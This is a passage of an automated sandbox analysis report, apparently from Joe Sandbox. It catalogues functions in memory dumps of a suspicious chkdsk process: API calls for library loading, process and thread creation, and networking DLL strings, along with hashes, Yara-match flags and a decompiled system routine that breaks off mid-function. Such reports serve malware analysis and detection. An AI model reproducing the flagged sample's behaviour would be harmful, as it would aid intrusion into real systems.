LdrInitializeThunk.NTDLL ref: 0238F9FB

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 0238FED0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FEDB

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 0238FFB4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FFBF

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 0238FC60 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FC6B

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 0238FD8C Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FD9A

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 0238FDC0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FDCB

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 000A9030 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 000A90D8

Strings

wininet.dll, xrefs: 000A908E, 000A9097
net.dll, xrefs: 000A90A1, 000A9127, 000A90FF, 000A910B, 000A9133

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 65abd6905f0a6074de93a76dc4fc1a183c9c81f992fa436b8981f6c79ac22bdb
Instruction ID: fb4008a0d6f50c086933b7b200a8f882fdb7408527c75eccbe65bab7abfe4472
Opcode Fuzzy Hash: 65abd6905f0a6074de93a76dc4fc1a183c9c81f992fa436b8981f6c79ac22bdb
Instruction Fuzzy Hash: C3316EB2602605ABD721DFA4C8A1FA7B7F8AF89700F10811DF61A5B242D770B545CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 000A9029 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 80
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 000A90D8

Strings

wininet.dll, xrefs: 000A908E, 000A9097
net.dll, xrefs: 000A90A1, 000A90FF, 000A910B

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 3c0df432608fc6fe9f1275814f97c95b21b706d27a0d5be1d80734afebe50bcb
Instruction ID: af507350fc16d4c981d656046ea1b24eb9821138d7a5e52d559d44f6dc54870c
Opcode Fuzzy Hash: 3c0df432608fc6fe9f1275814f97c95b21b706d27a0d5be1d80734afebe50bcb
Instruction Fuzzy Hash: D1217EB1A01705ABD711DFA4C8E5FABB7F4AF99700F108129F6199B242D770A855CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00097679 Relevance: 3.1, APIs: 2, Instructions: 58
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(0000000D,00000111,00000000,00000000,?), ref: 000976DA
PostThreadMessageW.USER32(0000000D,00008003,00000000,?,00000000), ref: 000976FB

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 09a693ab53f5b77bfa46604cbe96ab275ae47f1b3c9725a3eef587ad564fd1d8
Instruction ID: 9c2c899b0050746a3ad00cce5bd97d4c7e26555bae171f51c93a3c1a4d0d86fb
Opcode Fuzzy Hash: 09a693ab53f5b77bfa46604cbe96ab275ae47f1b3c9725a3eef587ad564fd1d8
Instruction Fuzzy Hash: 5A01D832A502187AEB2096D59C43FFE7B5C9F46F51F040119FF04BA1C2EB95690647F5

Uniqueness

Uniqueness Score: -1.00%

Function 00097680 Relevance: 3.1, APIs: 2, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(0000000D,00000111,00000000,00000000,?), ref: 000976DA
PostThreadMessageW.USER32(0000000D,00008003,00000000,?,00000000), ref: 000976FB

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 25af1c734532a81ca7ba9eb524d0be4fa31931f0d13e5fbae633e88c13e8d855
Instruction ID: 415cbd060aee58b8ae5418c18163d6f9c606613e95f24094997dd1c4de9f1568
Opcode Fuzzy Hash: 25af1c734532a81ca7ba9eb524d0be4fa31931f0d13e5fbae633e88c13e8d855
Instruction Fuzzy Hash: 9D018431A902287BEB20A6959C43FFE776CAB45F51F040119FB04BA1C2EA94790547EA

Uniqueness

Uniqueness Score: -1.00%

Function 0009A140 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0009A1B2

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8e0004b4359ee1ae85549364c5de1ea6928f237d7e117aa9fb86d6b02b35fb04
Instruction ID: e51e4d53f956fdb18039a5006dafda3ad46de06f15cbc678322b0709c60b5c48
Opcode Fuzzy Hash: 8e0004b4359ee1ae85549364c5de1ea6928f237d7e117aa9fb86d6b02b35fb04
Instruction Fuzzy Hash: 99011EB5E0020DBBDF10EAE4DC42FDEB7B89B55308F0041A5A90997242F631EB14CB91

Uniqueness

Uniqueness Score: -1.00%

Function 000AA690 Relevance: 1.5, APIs: 1, Instructions: 42
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessInternalW.KERNEL32(?,?,?,00000010,?,00000044,?,?,?,00000044,?,00000010,?,?,?,?), ref: 000AA6E4

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 876076b5dbb47a892ddfedc491b322af51d313241269a642b7957940f7f79bb3
Instruction ID: 6283380da79a0daf5a495f1b4e8488a8b1960ee1a890cde8fe80900c81105c3e
Opcode Fuzzy Hash: 876076b5dbb47a892ddfedc491b322af51d313241269a642b7957940f7f79bb3
Instruction Fuzzy Hash: 6F01B2B2210108BFCB58DF89DC80EEB77ADAF8C754F118258BA0D97241C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000A9160 Relevance: 1.5, APIs: 1, Instructions: 36
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0009D2F0,?,?), ref: 000A919C

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 08617f2e8f43ed77d74b6e8f872d51ba921ece6b37278981498b09bb97806d21
Instruction ID: 245ec516c3927d5344b41231f4749b1fff86454f16e7b98f50486bb3814c1656
Opcode Fuzzy Hash: 08617f2e8f43ed77d74b6e8f872d51ba921ece6b37278981498b09bb97806d21
Instruction Fuzzy Hash: BEE06D333813043BE32061E99C02FE7B38C9B85B61F54002AFA0DEA2C2D595F90142A4

Uniqueness

Uniqueness Score: -1.00%

Function 000A9156 Relevance: 1.5, APIs: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0009D2F0,?,?), ref: 000A919C

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: af69aab4bbfafe00aeeeb6c8681bc726d575944d437e7311a27a0ea2e220cc3b
Instruction ID: 832ac555b6c89879cfb69a561a971385d689ceb9ddaf15e874e28f40d31139d9
Opcode Fuzzy Hash: af69aab4bbfafe00aeeeb6c8681bc726d575944d437e7311a27a0ea2e220cc3b
Instruction Fuzzy Hash: 33F02B737803003BE32096E4CC43FF777949F81B10F140019F609AB2C2EAA5F90082A4

Uniqueness

Uniqueness Score: -1.00%

Function 000AA5E0 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(000A5186,?,000A58FF,000A58FF,?,000A5186,?,?,?,?,?,00000000,00000005,00000206), ref: 000AA60D

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4eeee5f58efdf21d171fa9f1326e000b1994929843c0f345beb3c8c7aaa15deb
Instruction ID: ae29bdb3e3ba9246cf94e116960e1d12a642af55ec37f8af7f453439bfc27b07
Opcode Fuzzy Hash: 4eeee5f58efdf21d171fa9f1326e000b1994929843c0f345beb3c8c7aaa15deb
Instruction Fuzzy Hash: C0E01AB12002086BDB14DF89DC45E9737ACEF88654F118154BA085B242C630F910CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 000AA620 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000005,00000000,00000000,00000005,00000060,00000000,00000000,?,?,00000000,00000206,?), ref: 000AA64D

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a1f7dc8e7f53a3f8249f2c6d0a6452cc2d574f3e67fea06934ffed66e3b82adc
Instruction ID: b9f536ac083168ecb820cd8dd13fbb7bccb2cfdb5b9b840bdb6c431fd47441ab
Opcode Fuzzy Hash: a1f7dc8e7f53a3f8249f2c6d0a6452cc2d574f3e67fea06934ffed66e3b82adc
Instruction Fuzzy Hash: 9FE012B1200208AFDB18EF89DC49EA737ACEF88750F118158BA085B282C630E910CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 000AA780 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0009D5C2,0009D5C2,?,00000000,?,?), ref: 000AA7B0

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 1603bad059ca15678eb2c8229aefeef34436a6a2ffabd18c43c9bb13eb52ef96
Instruction ID: 3c53c33b4c029773eec24b7fe9ccde8f4b1a7e54cda578fd5ff121143860fe6b
Opcode Fuzzy Hash: 1603bad059ca15678eb2c8229aefeef34436a6a2ffabd18c43c9bb13eb52ef96
Instruction Fuzzy Hash: 36E01AB12002086FDB14DF89CC45EE737ADEF89654F118164BA0857242C630E8148AB1

Uniqueness

Uniqueness Score: -1.00%

Function 0009DA28 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00098233,?), ref: 0009DA5B

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: e22c9543408ccf2bb301c99296c2202a42c017a0b5b6a1eabdb39d3170ae88e0
Instruction ID: dc7e8c81633cf1bfe546de91d46610890a1546959ebc3f28478d62fa66680d89
Opcode Fuzzy Hash: e22c9543408ccf2bb301c99296c2202a42c017a0b5b6a1eabdb39d3170ae88e0
Instruction Fuzzy Hash: 08D05EBA7803412AFE10DBF09D46FA53B98AB5A655F4A40A5FA49DA3C3D560D0018625

Uniqueness

Uniqueness Score: -1.00%

Function 0009DA30 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00098233,?), ref: 0009DA5B

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 785235cf212cd6fac8d19be006f72e66bb65ffde2b76f0b6724cfa02a8199225
Instruction ID: 867f073bbc9c195a80acb005c590be0c209f8404acf6e5f1b2fba76731f0e013
Opcode Fuzzy Hash: 785235cf212cd6fac8d19be006f72e66bb65ffde2b76f0b6724cfa02a8199225
Instruction Fuzzy Hash: ACD0A7717903043BFA10EAE49C43F6633CCAB49B50F454064FA09D73C3D950F4008165

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 023B8788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E023B8788(signed int __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				short* _v12;
				void* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				void* _t216;
				intOrPtr _t231;
				short* _t235;
				intOrPtr _t257;
				short* _t261;
				intOrPtr _t284;
				intOrPtr _t288;
				void* _t314;
				signed int _t318;
				short* _t319;
				intOrPtr _t321;
				void* _t328;
				void* _t329;
				char* _t332;
				signed int _t333;
				signed int* _t334;
				void* _t335;
				void* _t338;
				void* _t339;

				_t328 = __edx;
				_t322 = __ecx;
				_t318 = 0;
				_t334 = _a4;
				_v8 = 0;
				_v28 = 0;
				_v48 = 0;
				_v20 = 0;
				_v40 = 0;
				_v32 = 0;
				_v52 = 0;
				if(_t334 == 0) {
					_t329 = 0xc000000d;
					L49:
					_t334[0x11] = _v56;
					 *_t334 =  *_t334 | 0x00000800;
					_t334[0x12] = _v60;
					_t334[0x13] = _v28;
					_t334[0x17] = _v20;
					_t334[0x16] = _v48;
					_t334[0x18] = _v40;
					_t334[0x14] = _v32;
					_t334[0x15] = _v52;
					return _t329;
				}
				_v56 = 0;
				if(E023B8460(__ecx, L"WindowsExcludedProcs",  &_v44,  &_v24,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						_t207 = E0239E025(__ecx,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
					}
					_push(1);
					_v8 = _t318;
					E023B718A(_t207);
					_t335 = _t335 + 4;
				}
				_v60 = _v60 | 0xffffffff;
				if(E023B8460(_t322, L"Kernel-MUI-Number-Allowed",  &_v44,  &_v24,  &_v8) >= 0) {
					_t333 =  *_v8;
					_v60 = _t333;
					_t314 = E0239E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					_push(_t333);
					_v8 = _t318;
					E023B718A(_t314);
					_t335 = _t335 + 4;
				}
				_t216 = E023B8460(_t322, L"Kernel-MUI-Language-Allowed",  &_v44,  &_v24,  &_v8);
				_t332 = ";";
				if(_t216 < 0) {
					L17:
					if(E023B8460(_t322, L"Kernel-MUI-Language-Disallowed",  &_v44,  &_v24,  &_v8) < 0) {
						L30:
						if(E023B8460(_t322, L"Kernel-MUI-Language-SKU",  &_v44,  &_v24,  &_v8) < 0) {
							L46:
							_t329 = 0;
							L47:
							if(_v8 != _t318) {
								E0239E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
							}
							if(_v28 != _t318) {
								if(_v20 != _t318) {
									E0239E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
									_v20 = _t318;
									_v40 = _t318;
								}
							}
							goto L49;
						}
						_t231 = _v24;
						_t322 = _t231 + 4;
						_push(_t231);
						_v52 = _t322;
						E023B718A(_t231);
						if(_t322 == _t318) {
							_v32 = _t318;
						} else {
							_v32 = E0239E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
						}
						if(_v32 == _t318) {
							_v52 = _t318;
							L58:
							_t329 = 0xc0000017;
							goto L47;
						} else {
							E02392340(_v32, _v8, _v24);
							_v16 = _v32;
							_a4 = _t318;
							_t235 = E023AE679(_v32, _t332);
							while(1) {
								_t319 = _t235;
								if(_t319 == 0) {
									break;
								}
								 *_t319 = 0;
								_t321 = _t319 + 2;
								E0239E2A8(_t322,  &_v68, _v16);
								if(E023B5553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
								_v16 = _t321;
								_t235 = E023AE679(_t321, _t332);
								_pop(_t322);
							}
							_t236 = _v16;
							if( *_v16 != _t319) {
								E0239E2A8(_t322,  &_v68, _t236);
								if(E023B5553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
							}
							if(_a4 == 0) {
								E0239E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v32);
								_v52 = _v52 & 0x00000000;
								_v32 = _v32 & 0x00000000;
							}
							if(_v8 != 0) {
								E0239E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
							}
							_v8 = _v8 & 0x00000000;
							_t318 = 0;
							goto L46;
						}
					}
					_t257 = _v24;
					_t322 = _t257 + 4;
					_push(_t257);
					_v40 = _t322;
					E023B718A(_t257);
					_t338 = _t335 + 4;
					if(_t322 == _t318) {
						_v20 = _t318;
					} else {
						_v20 = E0239E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
					}
					if(_v20 == _t318) {
						_v40 = _t318;
						goto L58;
					} else {
						E02392340(_v20, _v8, _v24);
						_v16 = _v20;
						_a4 = _t318;
						_t261 = E023AE679(_v20, _t332);
						_t335 = _t338 + 0x14;
						while(1) {
							_v12 = _t261;
							if(_t261 == _t318) {
								break;
							}
							_v12 = _v12 + 2;
							 *_v12 = 0;
							E0239E2A8(_v12,  &_v68, _v16);
							if(E023B5553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
							_v16 = _v12;
							_t261 = E023AE679(_v12, _t332);
							_pop(_t322);
						}
						_t269 = _v16;
						if( *_v16 != _t318) {
							E0239E2A8(_t322,  &_v68, _t269);
							if(E023B5553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
						}
						if(_a4 == _t318) {
							E0239E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
							_v40 = _t318;
							_v20 = _t318;
						}
